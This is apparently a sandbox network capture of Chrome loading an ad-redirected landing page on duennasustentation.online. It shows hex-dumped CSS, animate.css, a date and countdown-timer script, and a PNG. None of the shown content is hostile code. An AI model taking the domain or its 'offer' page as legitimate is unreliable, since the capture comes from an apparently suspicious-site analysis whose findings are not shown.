2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 66 66 74 72 66 6f 6f 74 65 72 20 73 70 61 6e 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 37 30 62 31 3b 0d 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 66 74 72 66 6f 6f 74 65 72 20 73 70 61 6e 3a 68 6f 76 65 72 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 65 61 34 65 39 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 2f 2a 20 20 20 20 42 41 52 20 4f 46 46 45 52 20 53 45 43 54 49 4f 4e 20 20 20 20 2a 2f 0d 0a 2e 6f 66 66 65 72 5f 65 78 70 69 72 65 73 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: fftrfooter span{ color: #0070b1; text-decoration: underline; margin: 0px 10px; cursor: pointer;}.fftrfooter span:hover{ color: #2ea4e9;}/* BAR OFFER SECTION */.offer_expires { width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49728	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:33 UTC	775	OUT	GET /css/animate.min.css HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:34 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:34 GMT Content-Type: text/css Content-Length: 71750 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d293f-11846" expires: Wed, 08 Jan 2025 14:44:33 GMT last-modified: Tue, 07 Jan 2025 13:16:47 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S2AImWV3sh4i1HzOTFxb70gsyE74Hu7Fu5I9JZSLsACOEKaJ7ArKhJkK6uUuuXfzzzqJ5S0YI8PWQREvYLBSImopdvgc5ha4EiSLxkX9CDsMqjCRlS2pGVCruZ9F3FoqivWmusKA7kBprQYG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf75e2821f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1716&rtt_var=649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1353&delivery_rate=1701631&cwnd=82&unsent_bytes=0&cid=5b9617b9b381a660&ts=893&x=0"
2025-01-08 14:44:34 UTC	329	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 61 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 73 3a 2f 2f 61 6e 69 6d 61 74 65 2e 73 74 79 6c 65 2f 0a 20 2a 20 56 65 72 73 69 6f 6e 20 2d 20 34 2e 31 2e 31 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 20 41 6e 69 6d 61 74 65 2e 63 73 73 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 72 65 70 65 61 74 3a Data Ascii: @charset "UTF-8";/! animate.css - https://animate.style/ * Version - 4.1.1 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2020 Animate.css */:root{--animate-duration:1s;--animate-delay:1s;--animate-repeat:
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 62 6f 74 68 3b 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 62 6f 74 68 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 2e 61 6e 69 6d 61 74 65 5f 5f 69 6e 66 69 6e 69 74 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e Data Ascii: webkit-animation-duration:var(--animate-duration);animation-duration:var(--animate-duration);-webkit-animation-fill-mode:both;animation-fill-mode:both}.animate__animated.animate__infinite{-webkit-animation-iteration-count:infinite;animation-iteration-coun
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 63 28 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 33 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 63 61 6c 63 28 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 33 29 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 2e 61 6e 69 6d 61 74 65 5f 5f 64 65 6c 61 79 2d 34 73 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 34 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 34 73 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 63 61 6c 63 28 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 34 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 63 61 6c 63 28 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 34 29 7d 2e 61 6e Data Ascii: c(var(--animate-delay)3);animation-delay:calc(var(--animate-delay)3)}.animate__animated.animate__delay-4s{-webkit-animation-delay:4s;animation-delay:4s;-webkit-animation-delay:calc(var(--animate-delay)4);animation-delay:calc(var(--animate-delay)4)}.an
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 31 6d 73 21 69 6d 70 6f 72 74 61 6e 74 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 31 6d 73 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 31 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 31 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 5b 63 6c 61 73 73 2a 3d 4f 75 74 5d 7b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 30 25 2c 32 30 25 2c 35 33 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 Data Ascii: t-transition-duration:1ms!important;transition-duration:1ms!important;-webkit-animation-iteration-count:1!important;animation-iteration-count:1!important}.animate__animated[class*=Out]{opacity:0}}@-webkit-keyframes bounce{0%,20%,53%,to{-webkit-animation-t
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 34 30 25 2c 34 33 25 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 33 30 70 78 2c 30 29 20 73 63 61 6c 65 59 28 31 2e 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 33 30 70 78 2c 30 29 20 73 63 61 6c 65 59 28 31 2e 31 29 7d 37 30 25 7b 2d 77 65 Data Ascii: orm:translateZ(0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0) scaleY(1.1);transform:translate3d(0,-30px,0) scaleY(1.1)}70%{-we
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 31 29 7d 35 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 30 35 2c 31 2e 30 35 2c 31 2e 30 35 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 30 35 2c 31 2e 30 35 2c 31 2e 30 35 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 31 29 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 70 75 6c 73 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 70 75 6c 73 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 70 75 6c 73 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 69 Data Ascii: nsform:scaleX(1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}.animate__pulse{-webkit-animation-name:pulse;animation-name:pulse;-webkit-animation-timing-function:ease-i
2025-01-08 14:44:34 UTC	66	IN	Data Raw: 79 66 72 61 6d 65 73 20 73 68 61 6b 65 58 7b 30 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 Data Ascii: yframes shakeX{0%,to{-webkit-transform:translateZ(0);transform:tra
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 6e 73 6c 61 74 65 5a 28 30 29 7d 31 30 25 2c 33 30 25 2c 35 30 25 2c 37 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 7d 32 30 25 2c 34 30 25 2c 36 30 25 2c 38 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 30 2c 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 6b 65 58 7b 30 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 Data Ascii: nslateZ(0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shakeX{0%,to{-webkit-transform:translateZ(0);trans
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 20 72 6f 74 61 74 65 59 28 37 64 65 67 29 7d 33 31 2e 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 70 78 29 20 72 6f 74 61 74 65 59 28 2d 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 70 78 29 20 72 6f 74 61 74 65 59 28 2d 35 64 65 67 29 7d 34 33 2e 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 70 78 29 20 72 6f 74 61 74 65 59 28 33 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 70 78 29 20 72 6f 74 61 74 65 59 28 33 64 65 67 29 7d 35 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 Data Ascii: ransform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:tr
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 65 28 31 35 64 65 67 29 7d 34 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 30 64 65 67 29 7d 36 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 35 64 65 67 29 7d 38 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 35 64 65 67 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 7d 2e 61 6e 69 6d 61 74 65 Data Ascii: e(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}.animate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49726	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:33 UTC	756	OUT	GET /js/datehead.js HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:34 UTC	1060	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:34 GMT Content-Type: application/javascript Content-Length: 2457 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d293d-999" expires: Wed, 08 Jan 2025 14:44:33 GMT last-modified: Tue, 07 Jan 2025 13:16:45 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hxP2Yh%2BTTlEJsNV8F13zMUKyIvKYA9qVrF9yBAn1Py9XqiBunbacFM%2F9RRG8qgrpqpLLkr3DMVkjnztbEHxq3iwBm8i4uQl%2FgydRVfaWSOHoEQcCvjFgtwVcKGAL7%2FJ82SBymmzKGu60ablf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf75e380d0f8b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&min_rtt=1487&rtt_var=570&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1334&delivery_rate=1897335&cwnd=237&unsent_bytes=0&cid=4137c9520c754b0f&ts=934&x=0"
2025-01-08 14:44:34 UTC	309	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 64 61 74 65 68 61 78 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 79 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 0d 0a 20 20 20 20 6d 79 64 61 74 65 2e 73 65 74 44 61 74 65 28 6d 79 64 61 74 65 2e 67 65 74 44 61 74 65 28 29 29 3b 0d 0a 20 20 20 20 76 61 72 20 79 65 61 72 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 59 65 61 72 28 29 0d 0a 20 20 20 20 69 66 20 28 79 65 61 72 20 3c 20 31 30 30 30 29 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 20 2b 3d 20 31 39 30 30 0d 0a 20 20 20 20 76 61 72 20 64 61 79 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 44 61 79 28 29 0d 0a 20 20 20 20 76 61 72 20 6d 6f 6e 74 68 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 4d 6f 6e 74 68 28 29 0d 0a 20 20 20 20 76 61 72 20 64 61 79 6d 20 3d 20 6d 79 64 61 74 65 2e Data Ascii: function datehax() { var mydate = new Date() mydate.setDate(mydate.getDate()); var year = mydate.getYear() if (year < 1000) year += 1900 var day = mydate.getDay() var month = mydate.getMonth() var daym = mydate.
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 79 6d 0d 0a 20 20 20 20 76 61 72 20 64 61 79 61 72 72 61 79 20 3d 20 41 72 72 61 79 28 22 53 75 6e 64 61 79 22 2c 20 22 4d 6f 6e 64 61 79 22 2c 20 22 54 75 65 73 64 61 79 22 2c 20 22 57 65 64 6e 65 73 64 61 79 22 2c 20 22 54 68 75 72 73 64 61 79 22 2c 20 22 46 72 69 64 61 79 22 2c 20 22 53 61 74 75 72 64 61 79 22 29 3b 0d 0a 20 20 20 20 20 76 61 72 20 6d 6f 6e 74 68 61 72 72 61 79 20 3d 20 6e 65 77 20 41 72 72 61 79 28 22 4a 61 6e 75 61 72 79 22 2c 20 22 46 65 62 72 75 61 72 79 22 2c 20 22 4d 61 72 63 68 22 2c 20 22 41 70 72 69 6c 22 2c 20 22 4d 61 79 22 2c 20 22 4a 75 6e 65 22 2c 20 22 4a 75 6c 79 22 2c 20 22 41 75 67 75 73 74 22 2c 20 22 53 65 70 74 65 6d 62 65 72 22 2c 20 22 4f 63 74 6f 62 65 72 22 2c 20 22 4e 6f 76 65 6d 62 65 72 22 2c 20 22 44 65 63 Data Ascii: ym var dayarray = Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); var montharray = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "Dec
2025-01-08 14:44:34 UTC	779	IN	Data Raw: 20 31 30 30 30 29 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 20 2b 3d 20 31 39 30 30 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 79 65 61 72 20 2b 20 22 22 3b 0d 0a 20 20 20 20 0d 0a 7d 0d 0a 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 54 69 6d 65 72 28 64 75 72 61 74 69 6f 6e 2c 20 64 69 73 70 6c 61 79 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 74 69 6d 65 72 20 3d 20 64 75 72 61 74 69 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 75 74 65 73 2c 20 73 65 63 6f 6e 64 73 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 75 74 65 73 20 3d 20 70 61 72 73 65 49 6e 74 28 74 69 6d 65 72 20 2f 20 36 30 2c 20 31 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 65 63 6f 6e 64 73 20 3d 20 Data Ascii: 1000) year += 1900 return year + ""; }function startTimer(duration, display) { var timer = duration, minutes, seconds; setInterval(function() { minutes = parseInt(timer / 60, 10); seconds =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49733	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	679	OUT	GET /images/bg.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1055	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: image/png Content-Length: 338620 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2956-52abc" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:17:10 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=asUgMltfaidHFVRUyJZyuitP9BQXykI5JUFHiU5FvNSiM5U%2BPMgFNK4Cmt8gFio2iz9JtRGmW7lvNqQE%2FYE74a58CE7PYv5qj%2BNv6ceXlTocMf%2F3bAEg%2BBgu%2BRm6m7xZJcDtynkEORwCYF9y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf769c8848c95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1807&min_rtt=1793&rtt_var=701&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1257&delivery_rate=1530398&cwnd=204&unsent_bytes=0&cid=49fe8ad3ce98c153&ts=900&x=0"
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 60 00 00 01 c8 08 02 00 00 00 66 ae c1 99 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 08 12 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 Data Ascii: PNGIHDR`fpHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:R
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 3e 20 3c 2f 72 64 66 3a 42 61 67 3e 20 3c 2f 70 68 6f 74 6f 73 68 6f 70 3a 44 6f 63 75 6d 65 6e 74 41 6e 63 65 73 74 6f 72 73 3e 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 61 39 37 37 62 38 64 34 2d 34 34 38 38 2d 62 35 34 66 2d 62 39 35 39 2d 64 30 38 64 62 62 30 30 38 37 33 32 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 32 2d 30 36 2d 32 38 54 32 32 3a 31 34 3a 35 36 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 Data Ascii: > </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" 